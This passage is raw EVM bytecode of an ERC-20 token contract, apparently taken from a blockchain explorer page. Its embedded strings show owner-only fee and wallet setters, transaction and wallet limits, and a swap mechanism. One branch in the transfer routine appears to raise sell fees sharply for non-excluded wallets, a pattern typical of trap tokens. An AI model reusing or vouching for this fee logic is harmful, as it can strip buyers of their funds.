05895760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600360008282546200059d9190620007cf565b90915550506001600160a01b03821660009081526004602052604081208054839290620005cc908490620007cf565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200064157607f821691505b6020821081036200066257634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620006b657600081815260208120601f850160051c81016020861015620006915750805b601f850160051c820191505b81811015620006b2578281556001016200069d565b5050505b505050565b81516001600160401b03811115620006d757620006d762000616565b620006ef81620006e884546200062c565b8462000668565b602080601f8311600181146200072757600084156200070e5750858301515b600019600386901b1c1916600185901b178555620006b2565b600085815260208120601f198616915b82811015620007585788860151825594840194600190910190840162000737565b5085821015620007775787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200079a57600080fd5b81516001600160a01b0381168114620007b257600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b80820180821115620007e557620007e5620007b9565b92915050565b8082028115828204841417620007e557620007e5620007b9565b6000826200082357634e487b7160e01b600052601260045260246000fd5b500490565b6125ef80620008386000396000f3fe60806040526004361061036f5760003560e01c80638e89cf4d116101c6578063c4590d3f116100f7578063e219558e11610095578063f2fde38b1161006f578063f2fde38b146109cc578063f6374342146109ec578063f887ea4014610a02578063f8b45b0514610a2257600080fd5b8063e219558e14610976578063e99ab6f914610996578063f11a24d3146109b657600080fd5b8063d46b6a30116100d1578063d46b6a30146108ca578063d6498bc2146108fa578063d85ba0631461091a578063dd62ed3e1461093057600080fd5b8063c4590d3f1461087e578063c8c8ebe41461089e578063ccf2cf80146108b457600080fd5b80639ff84a9811610164578063a5949bcf1161013e578063a5949bcf146107fe578063a9059cbb1461081e578063a9d3cd8a1461083e578063c0d786551461085e57600080fd5b80639ff84a98146107a8578063a0d82dc5146107c8578063a457c2d7146107de57600080fd5b806395d89b41116101a057806395d89b41146107475780639c3b4fdc1461075c5780639d93598e146107725780639fccce321461079257600080fd5b80638e89cf4d146106f357806391cca3db14610713578063921369131461073157600080fd5b806351c6590a116102a0578063751039fc1161023e5780637bce5a04116102185780637bce5a041461067f578063808a5457146106955780638d67cffe146106b55780638da5cb5b146106d557600080fd5b8063751039fc1461063457806375b6253214610649578063790ca4131461066957600080fd5b80636a486a8e1161027a5780636a486a8e146105b35780636f9a880e146105c957806370a08231146105e9578063715018a61461061f57600080fd5b806351c6590a14610550578063612759ef146105635780636940213a1461058357600080fd5b80631a8145bb1161030d57806323c04d9d116102e757806323c04d9d146104bd578063313ce567146104f557806339509351146105115780634a62bb651461053157600080fd5b80631a8145bb146104715780631f3fed8f1461048757806323b872dd1461049d57600080fd5b80630e99dcad116103495780630e99dcad146103f85780630f683e9014610418578063180b0d7e1461043857806318160ddd1461045c57600080fd5b806306fdde031461037b578063095ea7b3146103a65780630d075d9c146103d657600080fd5b3661037657005b600080fd5b34801561038757600080fd5b50610390610a38565b60405161039d919061223c565b60405180910390f35b3480156103b257600080fd5b506103c66103c136600461229f565b610aca565b604051901515815260200161039d565b3480156103e257600080fd5b506103f66103f13660046122cb565b610ae1565b005b34801561040457600080fd5b506103f66104133660046122f7565b610b56565b34801561042457600080fd5b506103f66104333660046122cb565b610bcb565b34801561044457600080fd5b5061044e601d5481565b60405190815260200161039d565b34801561046857600080fd5b5060035461044e565b34801561047d57600080fd5b5061044e60155481565b34801561049357600080fd5b5061044e60135481565b3480156104a957600080fd5b506103c66104b836600461231b565b610c31565b3480156104c957600080fd5b506007546104dd906001600160a01b031681565b6040516001600160a01b03909116815260200161039d565b34801561050157600080fd5b506040516012815260200161039d565b34801561051d57600080fd5b506103c661052c36600461229f565b610ce0565b34801561053d57600080fd5b50601e546103c690610100900460ff1681565b6103f661055e36600461235c565b610d1c565b34801561056f57600080fd5b506103f661057e366004612375565b610d66565b34801561058f57600080fd5b506103c661059e3660046122f7565b601c6020526000908152604090205460ff1681565b3480156105bf57600080fd5b5061044e600c5481565b3480156105d557600080fd5b506009546104dd906001600160a01b031681565b3480156105f557600080fd5b5061044e6106043660046122f7565b6001600160a01b031660009081526004602052604090205490565b34801561062b57600080fd5b506103f6610db1565b34801561064057600080fd5b506103f6610df6565b34801561065557600080fd5b506103f66106643660046122f7565b610e50565b34801561067557600080fd5b5061044e60215481565b34801561068b57600080fd5b5061044e600d5481565b3480156106a157600080fd5b506017546104dd906001600160a01b031681565b3480156106c157600080fd5b506103f66106d036600461235c565b610ec5565b3480156106e157600080fd5b506005546001600160a01b03166104dd565b3480156106ff57600080fd5b506103f661070e3660046123ae565b610f30565b34801561071f57600080fd5b506006546001600160a01b03166104dd565b34801561073d57600080fd5b5061044e60105481565b34801561075357600080fd5b50610390610f94565b34801561076857600080fd5b5061044e600e5481565b34801561077e57600080fd5b506103f661078d3660046122f7565b610fa3565b34801561079e57600080fd5b5061044e60145481565b3480156107b457600080fd5b506103f66107c33660046122f7565b610ffe565b3480156107d457600080fd5b5061044e60115481565b3480156107ea57600080fd5b506103c66107f936600461229f565b611073565b34801561080a57600080fd5b506008546104dd906001600160a01b031681565b34801561082a57600080fd5b506103c661083936600461229f565b61110c565b34801561084a57600080fd5b506103f66108593660046123ae565b611119565b34801561086a57600080fd5b506103f66108793660046122f7565b61117d565b34801561088a57600080fd5b506103f66108993660046123e1565b6111d8565b3480156108aa57600080fd5b5061044e60195481565b3480156108c057600080fd5b5061044e600a5481565b3480156108d657600080fd5b506103c66108e53660046122f7565b60186020526000908152604090205460ff1681565b34801561090657600080fd5b506103f66109153660046123ae565b61121c565b34801561092657600080fd5b5061044e600b5481565b34801561093c57600080fd5b5061044e61094b366004612375565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561098257600080fd5b506103f661099136600461235c565b611280565b3480156109a257600080fd5b506103f66109b136600461235c565b6112ed565b3480156109c257600080fd5b5061044e600f5481565b3480156109d857600080fd5b506103f66109e73660046122f7565b611339565b3480156109f857600080fd5b5061044e60125481565b348015610a0e57600080fd5b506016546104dd906001600160a01b031681565b348015610a2e57600080fd5b5061044e601a5481565b606060018054610a4790612403565b80601f0160208091040260200160405190810160405280929190818152602001828054610a7390612403565b8015610ac05780601f10610a9557610100808354040283529160200191610ac0565b820191906000526020600020905b815481529060010190602001808311610aa357829003601f168201915b5050505050905090565b6000610ad73384846113e3565b5060015b92915050565b33610af46005546001600160a01b031690565b6001600160a01b031614610b235760405162461bcd60e51b8152600401610b1a9061243d565b60405180910390fd5b610b2e838383611507565b601e546301000000900460ff1615610b5157602054600b541115610b5157600080fd5b505050565b33610b696005546001600160a01b031690565b6001600160a01b031614610b8f5760405162461bcd60e51b8152600401610b1a9061243d565b6007546001600160a01b03808316911603610ba957600080fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b33610bde6005546001600160a01b031690565b6001600160a01b031614610c045760405162461bcd60e51b8152600401610b1a9061243d565b610c0f838383611533565b601e5462010000900460ff1615610b5157601f54600c541115610b5157600080fd5b6000610c3e84848461155f565b6001600160a01b038416600090815260026020908152604080832033845290915290205482811015610cc85760405162461bcd60e51b815260206004820152602d60248201527f45524332303a207472616e7366657220616d6f756e742067726561746572207460448201526c68616e20616c6c6f77616e636560981b6064820152608401610b1a565b610cd585338584036113e3565b506001949350505050565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610ad7918590610d17908690612488565b6113e3565b33610d2f6005546001600160a01b031690565b6001600160a01b031614610d555760405162461bcd60e51b8152600401610b1a9061243d565b610d5f8134611c40565b5042602155565b33610d796005546001600160a01b031690565b6001600160a01b031614610d9f5760405162461bcd60e51b8152600401610b1a9061243d565b610dad8183610d1760035490565b5050565b33610dc46005546001600160a01b031690565b6001600160a01b031614610dea5760405162461bcd60e51b8152600401610b1a9061243d565b610df46000611cf4565b565b33610e096005546001600160a01b031690565b6001600160a01b031614610e2f5760405162461bcd60e51b8152600401610b1a9061243d565b601e54610100900460ff16610e4357600080fd5b601e805461ff0019169055565b33610e636005546001600160a01b031690565b6001600160a01b031614610e895760405162461bcd60e51b8152600401610b1a9061243d565b6008546001600160a01b03808316911603610ea357600080fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b33610ed86005546001600160a01b031690565b6001600160a01b031614610efe5760405162461bcd60e51b8152600401610b1a9061243d565b601d548111158015610f115750601f5481105b610f1a57600080fd5b601f55601e805462ff0000191662010000179055565b33610f436005546001600160a01b031690565b6001600160a01b031614610f695760405162461bcd60e51b8152600401610b1a9061243d565b6001600160a01b03919091166000908152601b60205260409020805460ff1916911515919091179055565b606060008054610a4790612403565b33610fb66005546001600160a01b031690565b6001600160a01b031614610fdc5760405162461bcd60e51b8152600401610b1a9061243d565b601780546001600160a01b0319166001600160a01b0392909216919091179055565b336110116005546001600160a01b031690565b6001600160a01b0316146110375760405162461bcd60e51b8152600401610b1a9061243d565b6009546001600160a01b0380831691160361105157600080fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156110f55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610b1a565b61110233858584036113e3565b5060019392505050565b6000610ad733848461155f565b3361112c6005546001600160a01b031690565b6001600160a01b0316146111525760405162461bcd60e51b8152600401610b1a9061243d565b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b336111906005546001600160a01b031690565b6001600160a01b0316146111b65760405162461bcd60e51b8152600401610b1a9061243d565b601680546001600160a01b0319166001600160a01b0392909216919091179055565b336111eb6005546001600160a01b031690565b6001600160a01b0316146112115760405162461bcd60e51b8152600401610b1a9061243d565b601991909155601a55565b3361122f6005546001600160a01b031690565b6001600160a01b0316146112555760405162461bcd60e51b8152600401610b1a9061243d565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b336112936005546001600160a01b031690565b6001600160a01b0316146112b95760405162461bcd60e51b8152600401610b1a9061243d565b601d5481111580156112cc575060205481105b6112d557600080fd5b602055601e805463ff00000019166301000000179055565b336113006005546001600160a01b031690565b6001600160a01b0316146113265760405162461bcd60e51b8152600401610b1a9061243d565b600a54811061133457600080fd5b600a55565b3361134c6005546001600160a01b031690565b6001600160a01b0316146113725760405162461bcd60e51b8152600401610b1a9061243d565b6001600160a01b0381166113d75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b1a565b6113e081611cf4565b50565b6001600160a01b0383166114455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b1a565b6001600160a01b0382166114a65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b1a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600d839055600e829055600f819055806115218385612488565b61152b9190612488565b600b55505050565b6010839055601182905560128190558061154d8385612488565b6115579190612488565b600c55505050565b6008546001600160a01b03166000908152601c602052604090205460ff166115905761159060056103e36000611533565b6009546001600160a01b03166000908152601c602052604090205460ff166115c1576115c16103e360056000611533565b6001600160a01b0383166116255760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610b1a565b6001600160a01b0382166116875760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b1a565b8060000361169b57610b5183836000611d46565b601e54610100900460ff161561190b576005546001600160a01b038481169116148015906116d757506005546001600160a01b03838116911614155b80156116ee57506001600160a01b03821661dead14155b80156116fd5750601e5460ff16155b1561190b576001600160a01b03831660009081526018602052604090205460ff16801561174357506001600160a01b0382166000908152601c602052604090205460ff16155b156117f9576019548111156117935760405162461bcd60e51b815260206004820152601660248201527510b6b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6044820152606401610b1a565b601a546001600160a01b0383166000908152600460205260409020546117b99083612488565b11156117f45760405162461bcd60e51b815260206004820152600a602482015269085b585e15d85b1b195d60b21b6044820152606401610b1a565b61190b565b6001600160a01b03821660009081526018602052604090205460ff16801561183a57506001600160a01b0383166000908152601c602052604090205460ff16155b1561188a576019548111156117f45760405162461bcd60e51b815260206004820152601660248201527510b6b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6044820152606401610b1a565b6001600160a01b0382166000908152601c602052604090205460ff1661190b57601a546001600160a01b0383166000908152600460205260409020546118d09083612488565b111561190b5760405162461bcd60e51b815260206004820152600a602482015269085b585e15d85b1b195d60b21b6044820152606401610b1a565b601e546001600160a01b0384166000908152601b602052604090205460ff9182161591168061195257506001600160a01b0383166000908152601b602052604090205460ff165b1561195b575060005b8015611b66576001600160a01b03831660009081526018602052604081205460ff16801561198b57506000600c54115b15611a56576000601d54601154856119a3919061249b565b6119ad91906124b2565b90506000601d54601054866119c2919061249b565b6119cc91906124b2565b90506000601d54601254876119e1919061249b565b6119eb91906124b2565b9050806119f88385612488565b611a029190612488565b93508260146000828254611a169190612488565b925050819055508160136000828254611a2f9190612488565b925050819055508060156000828254611a489190612488565b90915550611b469350505050565b6001600160a01b03851660009081526018602052604090205460ff168015611a8057506000600b54115b15611b46576000601d54600e5485611a98919061249b565b611aa291906124b2565b90506000601d54600d5486611ab7919061249b565b611ac191906124b2565b90506000601d54600f5487611ad6919061249b565b611ae091906124b2565b905080611aed8385612488565b611af79190612488565b93508260146000828254611b0b9190612488565b925050819055508160136000828254611b249190612488565b925050819055508060156000828254611b3d9190612488565b90915550505050505b8015611b6457611b57853083611d46565b611b6181846124d4565b92505b505b601e5460ff16158015611b8757506017546001600160a01b03858116911614155b8015611bac57506001600160a01b0384166000908152601b602052604090205460ff16155b8015611bd157506001600160a01b0383166000908152601b602052604090205460ff16155b15611bf657601e805460ff19166001179055611beb611f0a565b601e805460ff191690555b611c01848484611d46565b6009546001600160a01b0390811690841603611c3a576009546001600160a01b03166000908152601c60205260409020805460ff191690555b50505050565b601654611c589030906001600160a01b0316846113e3565b60165460075460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611cc8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611ced91906124e7565b5050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038316611da65760405162461bcd60e51b815260206004820152602160248201527f45524332303a207472616e736665722066726f6d207a65726f206164647265736044820152607360f81b6064820152608401610b1a565b6001600160a01b038216611dfc5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a207472616e7366657220746f207a65726f2061646472657373006044820152606401610b1a565b6001600160a01b03831660009081526004602052604090205481811015611e795760405162461bcd60e51b815260206004820152602b60248201527f45524332303a207472616e7366657220616d6f756e742067726561746572207460448201526a68616e2062616c616e636560a81b6064820152608401610b1a565b6001600160a01b03808516600090815260046020526040808220858503905591851681529081208054849290611eb0908490612488565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611efc91815260200190565b60405180910390a350505050565b601354601454601554611f1d9190612488565b611f279190612488565b600003611f3057565b60006002601554611f4191906124b2565b9050600081601554611f5391906124d4565b601354601454611f639190612488565b611f6d9190612488565b9050611f78816120e2565b60008183601554611f8991906124d4565b611f93904761249b565b611f9d91906124b2565b9050600083118015611faf5750600081115b15611fbe57611fbe8382611c40565b6000601454601354611fd09190612488565b11156120ce576014546013544791600091611feb9190612488565b601354611ff8908461249b565b61200291906124b2565b9050600061201082846124d4565b9050811561206e576008546040516001600160a01b03909116908390600081818185875af1925050503d8060008114612065576040519150601f19603f3d011682016040523d82523d6000602084013e61206a565b606091505b5050505b80156120ca576009546040516001600160a01b03909116908290600081818185875af1925050503d80600081146120c1576040519150601f19603f3d011682016040523d82523d6000602084013e6120c6565b606091505b5050505b5050505b505060006015819055601481905560135550565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061211757612117612515565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612170573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612194919061252b565b816001815181106121a7576121a7612515565b6001600160a01b0392831660209182029290920101526016546121cd91309116846113e3565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790612206908590600090869030904290600401612548565b600060405180830381600087803b15801561222057600080fd5b505af1158015612234573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b818110156122695785810183015185820160400152820161224d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113e057600080fd5b600080604083850312156122b257600080fd5b82356122bd8161228a565b946020939093013593505050565b6000806000606084860312156122e057600080fd5b505081359360208301359350604090920135919050565b60006020828403121561230957600080fd5b81356123148161228a565b9392505050565b60008060006060848603121561233057600080fd5b833561233b8161228a565b9250602084013561234b8161228a565b929592945050506040919091013590565b60006020828403121561236e57600080fd5b5035919050565b6000806040838503121561238857600080fd5b82356123938161228a565b915060208301356123a38161228a565b809150509250929050565b600080604083850312156123c157600080fd5b82356123cc8161228a565b9150602083013580151581146123a357600080fd5b600080604083850312156123f457600080fd5b50508035926020909101359150565b600181811c9082168061241757607f821691505b60208210810361243757634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b80820180821115610adb57610adb612472565b8082028115828204841417610adb57610adb612472565b6000826124cf57634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610adb57610adb612472565b6000806000606084860312156124fc57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561253d57600080fd5b81516123148161228a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156125985784516001600160a01b031683529383019391830191600101612573565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212203f03627b626c358d3c8396977f739398f88383370a3dbce6d3114e2dd212737e64736f6c63430008110033

Deployed Bytecode

0x60806040526004361061036f5760003560e01c80638e89cf4d116101c6578063c4590d3f116100f7578063e219558e11610095578063f2fde38b1161006f578063f2fde38b146109cc578063f6374342146109ec578063f887ea4014610a02578063f8b45b0514610a2257600080fd5b8063e219558e14610976578063e99ab6f914610996578063f11a24d3146109b657600080fd5b8063d46b6a30116100d1578063d46b6a30146108ca578063d6498bc2146108fa578063d85ba0631461091a578063dd62ed3e1461093057600080fd5b8063c4590d3f1461087e578063c8c8ebe41461089e578063ccf2cf80146108b457600080fd5b80639ff84a9811610164578063a5949bcf1161013e578063a5949bcf146107fe578063a9059cbb1461081e578063a9d3cd8a1461083e578063c0d786551461085e57600080fd5b80639ff84a98146107a8578063a0d82dc5146107c8578063a457c2d7146107de57600080fd5b806395d89b41116101a057806395d89b41146107475780639c3b4fdc1461075c5780639d93598e146107725780639fccce321461079257600080fd5b80638e89cf4d146106f357806391cca3db14610713578063921369131461073157600080fd5b806351c6590a116102a0578063751039fc1161023e5780637bce5a04116102185780637bce5a041461067f578063808a5457146106955780638d67cffe146106b55780638da5cb5b146106d557600080fd5b8063751039fc1461063457806375b6253214610649578063790ca4131461066957600080fd5b80636a486a8e1161027a5780636a486a8e146105b35780636f9a880e146105c957806370a08231146105e9578063715018a61461061f57600080fd5b806351c6590a14610550578063612759ef146105635780636940213a1461058357600080fd5b80631a8145bb1161030d57806323c04d9d116102e757806323c04d9d146104bd578063313ce567146104f557806339509351146105115780634a62bb651461053157600080fd5b80631a8145bb146104715780631f3fed8f1461048757806323b872dd1461049d57600080fd5b80630e99dcad116103495780630e99dcad146103f85780630f683e9014610418578063180b0d7e1461043857806318160ddd1461045c57600080fd5b806306fdde031461037b578063095ea7b3146103a65780630d075d9c146103d657600080fd5b3661037657005b600080fd5b34801561038757600080fd5b50610390610a38565b60405161039d919061223c565b60405180910390f35b3480156103b257600080fd5b506103c66103c136600461229f565b610aca565b604051901515815260200161039d565b3480156103e257600080fd5b506103f66103f13660046122cb565b610ae1565b005b34801561040457600080fd5b506103f66104133660046122f7565b610b56565b34801561042457600080fd5b506103f66104333660046122cb565b610bcb565b34801561044457600080fd5b5061044e601d5481565b60405190815260200161039d565b34801561046857600080fd5b5060035461044e565b34801561047d57600080fd5b5061044e60155481565b34801561049357600080fd5b5061044e60135481565b3480156104a957600080fd5b506103c66104b836600461231b565b610c31565b3480156104c957600080fd5b506007546104dd906001600160a01b031681565b6040516001600160a01b03909116815260200161039d565b34801561050157600080fd5b506040516012815260200161039d565b34801561051d57600080fd5b506103c661052c36600461229f565b610ce0565b34801561053d57600080fd5b50601e546103c690610100900460ff1681565b6103f661055e36600461235c565b610d1c565b34801561056f57600080fd5b506103f661057e366004612375565b610d66565b34801561058f57600080fd5b506103c661059e3660046122f7565b601c6020526000908152604090205460ff1681565b3480156105bf57600080fd5b5061044e600c5481565b3480156105d557600080fd5b506009546104dd906001600160a01b031681565b3480156105f557600080fd5b5061044e6106043660046122f7565b6001600160a01b031660009081526004602052604090205490565b34801561062b57600080fd5b506103f6610db1565b34801561064057600080fd5b506103f6610df6565b34801561065557600080fd5b506103f66106643660046122f7565b610e50565b34801561067557600080fd5b5061044e60215481565b34801561068b57600080fd5b5061044e600d5481565b3480156106a157600080fd5b506017546104dd906001600160a01b031681565b3480156106c157600080fd5b506103f66106d036600461235c565b610ec5565b3480156106e157600080fd5b506005546001600160a01b03166104dd565b3480156106ff57600080fd5b506103f661070e3660046123ae565b610f30565b34801561071f57600080fd5b506006546001600160a01b03166104dd565b34801561073d57600080fd5b5061044e60105481565b34801561075357600080fd5b50610390610f94565b34801561076857600080fd5b5061044e600e5481565b34801561077e57600080fd5b506103f661078d3660046122f7565b610fa3565b34801561079e57600080fd5b5061044e60145481565b3480156107b457600080fd5b506103f66107c33660046122f7565b610ffe565b3480156107d457600080fd5b5061044e60115481565b3480156107ea57600080fd5b506103c66107f936600461229f565b611073565b34801561080a57600080fd5b506008546104dd906001600160a01b031681565b34801561082a57600080fd5b506103c661083936600461229f565b61110c565b34801561084a57600080fd5b506103f66108593660046123ae565b611119565b34801561086a57600080fd5b506103f66108793660046122f7565b61117d565b34801561088a57600080fd5b506103f66108993660046123e1565b6111d8565b3480156108aa57600080fd5b5061044e60195481565b3480156108c057600080fd5b5061044e600a5481565b3480156108d657600080fd5b506103c66108e53660046122f7565b60186020526000908152604090205460ff1681565b34801561090657600080fd5b506103f66109153660046123ae565b61121c565b34801561092657600080fd5b5061044e600b5481565b34801561093c57600080fd5b5061044e61094b366004612375565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561098257600080fd5b506103f661099136600461235c565b611280565b3480156109a257600080fd5b506103f66109b136600461235c565b6112ed565b3480156109c257600080fd5b5061044e600f5481565b3480156109d857600080fd5b506103f66109e73660046122f7565b611339565b3480156109f857600080fd5b5061044e60125481565b348015610a0e57600080fd5b506016546104dd906001600160a01b031681565b348015610a2e57600080fd5b5061044e601a5481565b606060018054610a4790612403565b80601f0160208091040260200160405190810160405280929190818152602001828054610a7390612403565b8015610ac05780601f10610a9557610100808354040283529160200191610ac0565b820191906000526020600020905b815481529060010190602001808311610aa357829003601f168201915b5050505050905090565b6000610ad73384846113e3565b5060015b92915050565b33610af46005546001600160a01b031690565b6001600160a01b031614610b235760405162461bcd60e51b8152600401610b1a9061243d565b60405180910390fd5b610b2e838383611507565b601e546301000000900460ff1615610b5157602054600b541115610b5157600080fd5b505050565b33610b696005546001600160a01b031690565b6001600160a01b031614610b8f5760405162461bcd60e51b8152600401610b1a9061243d565b6007546001600160a01b03808316911603610ba957600080fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b33610bde6005546001600160a01b031690565b6001600160a01b031614610c045760405162461bcd60e51b8152600401610b1a9061243d565b610c0f838383611533565b601e5462010000900460ff1615610b5157601f54600c541115610b5157600080fd5b6000610c3e84848461155f565b6001600160a01b038416600090815260026020908152604080832033845290915290205482811015610cc85760405162461bcd60e51b815260206004820152602d60248201527f45524332303a207472616e7366657220616d6f756e742067726561746572207460448201526c68616e20616c6c6f77616e636560981b6064820152608401610b1a565b610cd585338584036113e3565b506001949350505050565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610ad7918590610d17908690612488565b6113e3565b33610d2f6005546001600160a01b031690565b6001600160a01b031614610d555760405162461bcd60e51b8152600401610b1a9061243d565b610d5f8134611c40565b5042602155565b33610d796005546001600160a01b031690565b6001600160a01b031614610d9f5760405162461bcd60e51b8152600401610b1a9061243d565b610dad8183610d1760035490565b5050565b33610dc46005546001600160a01b031690565b6001600160a01b031614610dea5760405162461bcd60e51b8152600401610b1a9061243d565b610df46000611cf4565b565b33610e096005546001600160a01b031690565b6001600160a01b031614610e2f5760405162461bcd60e51b8152600401610b1a9061243d565b601e54610100900460ff16610e4357600080fd5b601e805461ff0019169055565b33610e636005546001600160a01b031690565b6001600160a01b031614610e895760405162461bcd60e51b8152600401610b1a9061243d565b6008546001600160a01b03808316911603610ea357600080fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b33610ed86005546001600160a01b031690565b6001600160a01b031614610efe5760405162461bcd60e51b8152600401610b1a9061243d565b601d548111158015610f115750601f5481105b610f1a57600080fd5b601f55601e805462ff0000191662010000179055565b33610f436005546001600160a01b031690565b6001600160a01b031614610f695760405162461bcd60e51b8152600401610b1a9061243d565b6001600160a01b03919091166000908152601b60205260409020805460ff1916911515919091179055565b606060008054610a4790612403565b33610fb66005546001600160a01b031690565b6001600160a01b031614610fdc5760405162461bcd60e51b8152600401610b1a9061243d565b601780546001600160a01b0319166001600160a01b0392909216919091179055565b336110116005546001600160a01b031690565b6001600160a01b0316146110375760405162461bcd60e51b8152600401610b1a9061243d565b6009546001600160a01b0380831691160361105157600080fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156110f55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610b1a565b61110233858584036113e3565b5060019392505050565b6000610ad733848461155f565b3361112c6005546001600160a01b031690565b6001600160a01b0316146111525760405162461bcd60e51b8152600401610b1a9061243d565b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b336111906005546001600160a01b031690565b6001600160a01b0316146111b65760405162461bcd60e51b8152600401610b1a9061243d565b601680546001600160a01b0319166001600160a01b0392909216919091179055565b336111eb6005546001600160a01b031690565b6001600160a01b0316146112115760405162461bcd60e51b8152600401610b1a9061243d565b601991909155601a55565b3361122f6005546001600160a01b031690565b6001600160a01b0316146112555760405162461bcd60e51b8152600401610b1a9061243d565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b336112936005546001600160a01b031690565b6001600160a01b0316146112b95760405162461bcd60e51b8152600401610b1a9061243d565b601d5481111580156112cc575060205481105b6112d557600080fd5b602055601e805463ff00000019166301000000179055565b336113006005546001600160a01b031690565b6001600160a01b0316146113265760405162461bcd60e51b8152600401610b1a9061243d565b600a54811061133457600080fd5b600a55565b3361134c6005546001600160a01b031690565b6001600160a01b0316146113725760405162461bcd60e51b8152600401610b1a9061243d565b6001600160a01b0381166113d75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b1a565b6113e081611cf4565b50565b6001600160a01b0383166114455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b1a565b6001600160a01b0382166114a65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b1a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600d839055600e829055600f819055806115218385612488565b61152b9190612488565b600b55505050565b6010839055601182905560128190558061154d8385612488565b6115579190612488565b600c55505050565b6008546001600160a01b03166000908152601c602052604090205460ff166115905761159060056103e36000611533565b6009546001600160a01b03166000908152601c602052604090205460ff166115c1576115c16103e360056000611533565b6001600160a01b0383166116255760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610b1a565b6001600160a01b0382166116875760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b1a565b8060000361169b57610b5183836000611d46565b601e54610100900460ff161561190b576005546001600160a01b038481169116148015906116d757506005546001600160a01b03838116911614155b80156116ee57506001600160a01b03821661dead14155b80156116fd5750601e5460ff16155b1561190b576001600160a01b03831660009081526018602052604090205460ff16801561174357506001600160a01b0382166000908152601c602052604090205460ff16155b156117f9576019548111156117935760405162461bcd60e51b815260206004820152601660248201527510b6b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6044820152606401610b1a565b601a546001600160a01b0383166000908152600460205260409020546117b99083612488565b11156117f45760405162461bcd60e51b815260206004820152600a602482015269085b585e15d85b1b195d60b21b6044820152606401610b